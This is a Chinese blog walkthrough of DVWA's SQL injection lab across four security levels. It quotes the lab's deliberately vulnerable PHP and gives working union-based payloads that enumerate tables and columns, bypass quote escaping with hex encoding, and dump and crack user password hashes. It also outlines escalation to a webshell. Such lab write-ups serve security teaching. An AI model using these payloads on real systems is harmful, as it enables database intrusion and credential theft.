DVWA下的SQL Injection通关 – 作者:fu福lin林

SQL 注入

所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意)SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。 造成SQL注入漏洞原因有两个:一个是没有对输入的数据进行过滤(过滤输入),还有一个是没有对发送到数据库的数据进行转义(转义输出)。

一般SQL注入类型有以下5种:

UNION query SQL injection(可联合查询注入)

Stacked queries SQL injection(可多语句查询注入)

Boolean-based blind SQL injection(布尔型注入)

Error-based SQL injection(报错型注入)

Time-based blind SQL injection(基于时间延迟注入)

SQL 注入常规利用思路:

1、寻找注入点,可以通过 web 扫描工具实现

2、通过注入点,尝试获得关于连接数据库用户名、数据库名称、连接数据库用户权限、操作系统信息、数据库版本等相关信息。

3、猜解关键数据库表及其重要字段与内容(常见如存放管理员账户的表名、字段名等信息)

4、可以通过获得的用户信息,寻找后台登录。

5、利用后台或了解的进一步信息,上传 webshell 或向数据库写入一句话木马,以进一步提权,直到拿到服务器权限。

手工注入常规思路:

1.判断是否存在注入,注入是字符型还是数字型

2.猜解 SQL 查询语句中的字段数

3.确定显示的字段顺序

4.获取当前数据库

5.获取数据库中的表

6.获取表中的字段名

7.查询到账户的数据

1、low级别

<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
// Check database
$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last  = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
}
?>

low级别的没有任何防护以及过滤手段,可以借助自动化注入工具,如穿山甲、明小子、sqlmap、Havij等。

我用的sqlmap一把梭,感觉还不错,详细操作见下文:

https://www.freebuf.com/articles/web/251574.html

而这次要写的内容是手工测试,还是得深入了解sql手工注入的思路分哪几步。

1.1判断是否存在注入,注入是字符型还是数字型

提示输入User ID,输入正确的ID,将显示IDFirst name,Surname信息。

1604137209_5f9d30f9d1cb5c75c0032.png!small?1604137172735

输入“‘”,结果显示,说明此处存在注入点

1604137287_5f9d3147f221212dbd1f1.png!small?1604137250959

接下来,判断字符型还是数字型,判断方法如下:

1)  数字型。
http://host/test.php?id=100 and 1=1 返回成功
http://host/test.php?id=100 and 1=2 返回失败
2)  字符型。
http://host/test.php?name=rainman ’ and ‘1’=‘1  返回成功
http://host/test.php?name=rainman ’ and ‘1’=‘2 返回失败

id=1 and 1=1:返回成功

1604137450_5f9d31eaea6943df9c83c.png!small?1604137413891

id=1 and 1=2:继续返回成功,那么说明就不是数字型的。

1604137542_5f9d324626d68e13691de.png!small?1604137505071

1’ and ‘1’=‘1:返回成功

1604137623_5f9d3297851e4aa495820.png!small?1604137586412

1’ and ‘1’=‘2:返回失败,因此判断为字符型。

1604137687_5f9d32d764ec9069661d5.png!small?1604137650297

1.2、猜解 SQL 查询语句中的字段数

1′ or 1=1 order by 1 #

1604137981_5f9d33fdd1a105dfda755.png!small?1604137944719

1604138077_5f9d345de97417b333f30.png!small?1604138040831

有返回,那么继续   1′ or 1=1 order by 2 #:

1604138160_5f9d34b0dc6b17a16eaf1.png!small?1604138123882

还返回成功,那么继续, 1′ or 1=1 order by 3 #:

1604138234_5f9d34fa362d76b6c7135.png!small?1604138197184

终于等到你,还好我没放弃,哈哈哈哈…

说明执行的sql语句里只有两个字段,也就是First name和Surname两列。

1.3、确定显示的字段顺序

1 union select 1,2,3,4,5,6,N,确定当前数据库的字段数目顺序

1604140219_5f9d3cbb66b442050208c.png!small?1604140182385

由上图得知,First name处显示结果位查询结果的第一列的值,surname处显示结果位查询结果第二列的值。

1.4、获取当前数据库

1′ union select 1,database() #

1604139043_5f9d3823c0a7b445abb18.png!small?1604139006695

1.5、获取数据库中的表

1′ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

1604199251_5f9e23535ca75fc05900e.png!small?1604199214844

guestbook与users两张表成功爆出来了。

1.6、获取表中的字段名

1′ union select 1,group_concat(column_name) from information_schema.columns where table_name=’users’ #

1604199469_5f9e242deef6b02b721ee.png!small?1604199433432

查询“user”表内的内容,可以看到有8个元素字段,下一步就是重点看这个8个元素的具体参数值是多少。

1.7、查询到账户的数据

1′ or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #

1604199677_5f9e24fd71b236d5f4634.png!small?1604199640898

成功爆出内容,不过代表密码的字段是MD5加密的,还需要解密。

1604199767_5f9e2557367898cf4fdba.png!small?1604199730635

成功看到admin账户的密码是password,整个利用sql注入漏洞得到账户密码的过程完成了。

2、medium级别

<?php 

if( isset( $_POST[ ‘Submit’ ] ) ) { 
// Get input 
$id = $_POST[ ‘id’ ]; 
$id = mysql_real_escape_string( $id ); 

// Check database 
$query  = “SELECT first_name, last_name FROM users WHERE user_id = $id;”; 
$result = mysql_query( $query ) or die( ‘<pre>’ . mysql_error() . ‘</pre>’ ); 

// Get results 
$num = mysql_numrows( $result ); 
$i   = 0; 
while( $i < $num ) { 
// Display values 
$first = mysql_result( $result, $i, “first_name” ); 
$last  = mysql_result( $result, $i, “last_name” ); 

// Feedback for end user 
echo “<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>”; 

// Increase loop count 
$i++; 

//mysql_close(); 

?>

可以看到源码使用 mysqli_real_escape_string 函数对特殊字符进行转义,同时前端页面设置了下拉选择表单,希望以此来控制用户的输入。

这个需要用到Burpsuite工具,为了方便,我又换成火狐浏览器,火狐浏览器上已配好代理,直接用就行。

1604200107_5f9e26ab579954ec9c799.png!small?1604200070785

随便选一个id,直接提交,看bp抓包内容

1604200296_5f9e2768e33d9fbdd204c.png!small?1604200260375

1604200346_5f9e279a19fdc993c89b4.png!small?1604200309514

2.1判断是否存在注入,注入是字符型还是数字型

1604201576_5f9e2c68badf5d2bd3d62.png!small?1604201540208

1604201616_5f9e2c90d24ce9c34b8ea.png!small?1604201580272

报错,说明90%存在注入漏洞,接下来判断是字符型还是数字型。

1604201781_5f9e2d3510c993492a794.png!small?1604201744843

1604201804_5f9e2d4c0162b66be19e0.png!small?1604201767442

成功返回,继续下一步验证

1604201898_5f9e2daa299f6c560ac53.png!small?1604201861659

1604201954_5f9e2de2986013b4d6b01.png!small?1604201918037

没有返回,可以判断存在数字型注入。可以再来验证字符型

1604202120_5f9e2e88a4cbc08d9bc5f.png!small?1604202084119

1604202139_5f9e2e9b2b066df40128b.png!small?1604202102722

结果报错,继续试试id=1′ and ‘1’=’2

1604202248_5f9e2f080f2a156511e04.png!small?1604202211504

一样的报错,就没返回成功过,到此,可以说明就是存在数字型注入了。

2.2猜解 SQL 查询语句中的字段数

已知是数字型,那么源代码中的mysql_real_escape_string函数就没用了,数字型注入并不需要加引号了。

例如:id=1 and 1=1 (数字型)       id=1′ and ‘1’=’1(字符型)

猜字段:id=1 order by 1 #

1604202684_5f9e30bcbd1fd4e073d9d.png!small?1604202648226

1604202702_5f9e30ce575fa15eed279.png!small?1604202665776

id=1 order by 2 #

1604202784_5f9e31207a36dcccb9599.png!small?1604202747964

1604202801_5f9e313178e20feea560f.png!small?1604202764947

id=1 order by 3 #

1604202847_5f9e315fbaf2dde37ae12.png!small?1604202811169

报错了,说明执行的SQL查询语句中只有两个字段First name、Surname。

2.3确定显示的字段顺序

id=1 union select 1,2 #

1604203014_5f9e320624a27cc58a310.png!small?1604202977634

1604203031_5f9e32173e10120881e6c.png!small?1604202994811

那么说明执行的SQL语句结构为select First name,Surname from 表 where ID=id…

2.4获取当前数据库

id=1 union select 1,database() #

1604203368_5f9e3368f3ac901828c0c.png!small?1604203332498

1604203266_5f9e3302769761550dd80.png!small?1604203229971

说明当前的数据库为dvwa。

2.5、获取数据库中的表

id=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

1604203558_5f9e3426534da79989b21.png!small?1604203521940

1604203584_5f9e3440cb0b061b6eb4e.png!small?1604203548243

说明数据库dvwa中一共有两个表,guestbook与users,一般users表存放用户信息,所以接下来我们直奔users表。

2.6、获取表中的字段名

id=1 union select 1,group_concat(column_name) from information_schema.columns where table_name=’users’ #

1604204360_5f9e37486ad76a66daa1b.png!small?1604204323928

1604204375_5f9e375774fa8efc65bba.png!small?1604204339093

查询失败的原因是,单引号会被过滤,因此我们采用十六进制编码试试。我本来想试试base64码,但是失败,网上找到前人写的资料,用十六进制编码

1604206248_5f9e3ea8e4f35071c8a26.png!small?1604206212376

id=1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273

1604206485_5f9e3f954adcf9f1a6227.png!small?1604206448788

users表内信息爆出来了,接下来就查询有关登录账户的信息。

2.7、查询到账户的数据

id=1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users

1604206681_5f9e40590e4b2237d8e6a.png!small?1604206644949

1604206699_5f9e406b7000bb7e47b52.png!small?1604206663216

成功得到用户名和密码,MD5解密方法上面有。

3、High级别

<?php 

if( isset( $_SESSION [ ‘id’ ] ) ) { 
// Get input 
$id = $_SESSION[ ‘id’ ]; 

// Check database 
$query  = “SELECT first_name, last_name FROM users WHERE user_id = $id LIMIT 1;”; 
$result = mysql_query( $query ) or die( ‘<pre>Something went wrong.</pre>’ ); 

// Get results 
$num = mysql_numrows( $result ); 
$i   = 0; 
while( $i < $num ) { 
// Get values 
$first = mysql_result( $result, $i, “first_name” ); 
$last  = mysql_result( $result, $i, “last_name” ); 

// Feedback for end user 
echo “<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>”; 

// Increase loop count 
$i++; 

mysql_close(); 

?>

High级别的只是在SQL查询语句中添加了LIMIT 1,其余的跟low级别的几乎一样

1604206885_5f9e41252a94d31c9cf7c.png!small?1604206848716

id=1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #

手工注入方法和low级别一样,就不再重复操作了,直接在2.7章节中的payload后加入 #进行注释

1.png

成功得到用户名和密码的值,MD5解密就不说了。

4、Impossible级别

<?php 

if( isset( $_GET[ ‘Submit’ ] ) ) { 
// Check Anti-CSRF token 
checkToken( $_REQUEST[ ‘user_token’ ], $_SESSION[ ‘session_token’ ], ‘index.php’ ); 

// Get input 
$id = $_GET[ ‘id’ ]; 

// Was a number entered? 
if(is_numeric( $id )) { 
// Check the database 
$data = $db->prepare( ‘SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;’ ); 
$data->bindParam( ‘:id’, $id, PDO::PARAM_INT ); 
$data->execute(); 
$row = $data->fetch(); 

// Make sure only 1 result is returned 
if( $data->rowCount() == 1 ) { 
// Get values 
$first = $row[ ‘first_name’ ]; 
$last  = $row[ ‘last_name’ ]; 

// Feedback for end user 
echo “<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>”; 


// Generate Anti-CSRF token 
generateSessionToken(); 

?>

Impossible级别的代码采用了PDO技术,大大提高了安全性,基本无法进行绕过注入了

什么叫PDO技术,见下文连接

https://blog.51cto.com/12332766/2137035

来源:freebuf.com 2020-11-01 14:41:27 by: fu福lin林

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论